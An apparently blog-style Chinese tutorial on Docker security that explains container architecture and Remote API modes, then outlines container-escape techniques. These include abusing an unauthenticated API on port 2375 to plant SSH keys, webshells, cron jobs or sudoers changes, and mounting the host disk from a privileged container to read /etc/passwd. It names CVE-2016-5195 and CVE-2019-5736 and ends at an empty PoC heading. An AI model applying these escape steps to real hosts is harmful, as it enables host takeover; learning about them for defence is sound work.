docker安全

Docker简介

容器

容器技术最早可以追述到1979年在Unix上的 chroot,chroot 之后的程序没法访问真实系统的的目录结构和文件。这种技术和思想经过发展,最后成为了 Linux 上的 NamespaceNamespace 和用于管理资源的 CGroup 以及 AUFS 类的 Union FS 等技术构成了 Linux 上的容器技术

Docker

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口

Docker 在容器的基础上,进行了进一步的封装,从文件系统、网络互联到进程隔离等等,极大的简化了容器的创建和维护。使得 Docker 技术比虚拟机技术更为轻便、快捷。

Docker 和传统虚拟化方式也有不同之处:
传统虚拟机技术是虚拟出一套硬件后,在其上运行一个完整操作系统,在该系统上再运行所需应用进程;而容器内的应用进程直接运行于宿主的内核,容器内没有自己的内核,而且也没有进行硬件虚拟。

uyrXg1.png

uyrO3R.png

Docker组成

一个完整的 Docker 有以下几个部分组成:

  1. DockerClient 客户端
  2. Docker Daemon 守护进程
  3. Docker Image 镜像
  4. DockerContainer 容器

Docker 镜像是一个特殊的文件系统,除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含了一些为运行时准备的一些配置参数(如匿名卷、环境变量、用户等)。镜像不包含任何动态数据,其内容在构建之后也不会被改变。

镜像(Image)和容器(Container)的关系,就像是面向对象程序设计中的 实例 一样,镜像是静态的定义,容器是镜像运行时的实体。容器可以被创建、启动、停止、删除、暂停等。

Docker架构

Docker采用 C/S 架构。Docker Daemon 作为服务端,接受来自DockerClient 客户端的请求。

服务端可以通过三种不同类型方式来监听 Docker Engine API 请求:unixtcpfd

https://docs.docker.com/engine/reference/commandline/dockerd/#examples

unix

默认使用 unix domain socket /var/run/docker.sock 进行通信。

客户端只能本地访问服务端,需要 root 权限或 Docker 组成员身份。

tcp

如果想要远程访问服务端,可以启用 tcp 方式,无加密监听在 2375 端口,使用 HTTPS 加密监听在 2376 端口

无加密

all network interfaces:
-H tcp://0.0.0.0:2375

指定:
-H tcp://192.168.59.103:2375

使用证书加密

服务端
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376

客户端
docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=$HOST:2376 version

具体见手册: https://docs.docker.com/engine/security/https/

fd

在基于 Systemd 的系统上,可以通过 Systemd socket activation 与服务端进行通信,

dockerd -H fd://dockerd -H fd://3

SSH

从 18.09 版本开始,Docker 客户端支持通过 SSH 连接到服务端

1
2
3
docker -H ssh://me@example.com:22 ps
docker -H ssh://me@example.com ps
docker -H ssh://example.com ps

Docker安全机制

Linux Kernel 从 2.2 版本开始,提供了 Capabilities 功能,它将root用户的权限细分为不同的领域,可以分别启用或禁用。把特权划分成不同单元,可以只授权程序所需的权限,而非所有特权。

http://man7.org/linux/man-pages/man7/capabilities.7.html

Linux Capability 一共有38种,分别对应着一些系统调用,Docker 默认只开启了14种,这样就避免了很多安全的问题。

Docker Remote API 未授权访问 造成逃逸

如果服务端监听方式配置为 tcp 且暴露在公网上,就能远程操作 docker

服务端配置为 -H tcp://0.0.0.0:2375

客户端就可以远程访问

docker -H tcp://192.168.214.145:2375 ps

利用方式:

  1. 运行一个容器,挂载 //root/home,web目录或者其他目录,就能任意读写服务端的文件
  2. 写入ssh公钥
  3. 写入webshell
  4. 写计划任务
  5. 修改 /etc/sudoer,提权

配置特权模式造成逃逸

--privileged--cap-add

当一个容器开启时加入了 --privileged=true 参数,就开启了所有的 Capability,允许容器内的 root 拥有宿主机的 root 权限。

--cap-add 则可以加入 Capability,其中 SYSADMIN 意为container进程允许执行 mountumount 等一系列系统管理操作

1
2
docker run -itd --privileged=true ubuntu:latest
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

这样开启了一个有特权模式的容器

进入容器,挂载宿主机的硬盘,就能任意读写宿主机的文件

1
2
3
4
5
6
7
8
9
10
root@ddef5f76cc36:/# mkdir test
root@ddef5f76cc36:/# mount /dev/sda1 /test
root@ddef5f76cc36:/# ls test/
bin boot cdrom core dev etc flag home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old
root@ddef5f76cc36:/test# cat test/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...

Dirty Cow漏洞

CVE-2016-5195

runc中的容器逃逸漏洞

CVE-2019-5736
当在容器内以root(UID 0)运行进程时,该进程可以利用runc中的错误来获取运行容器的主机的root权限

poc:

Referer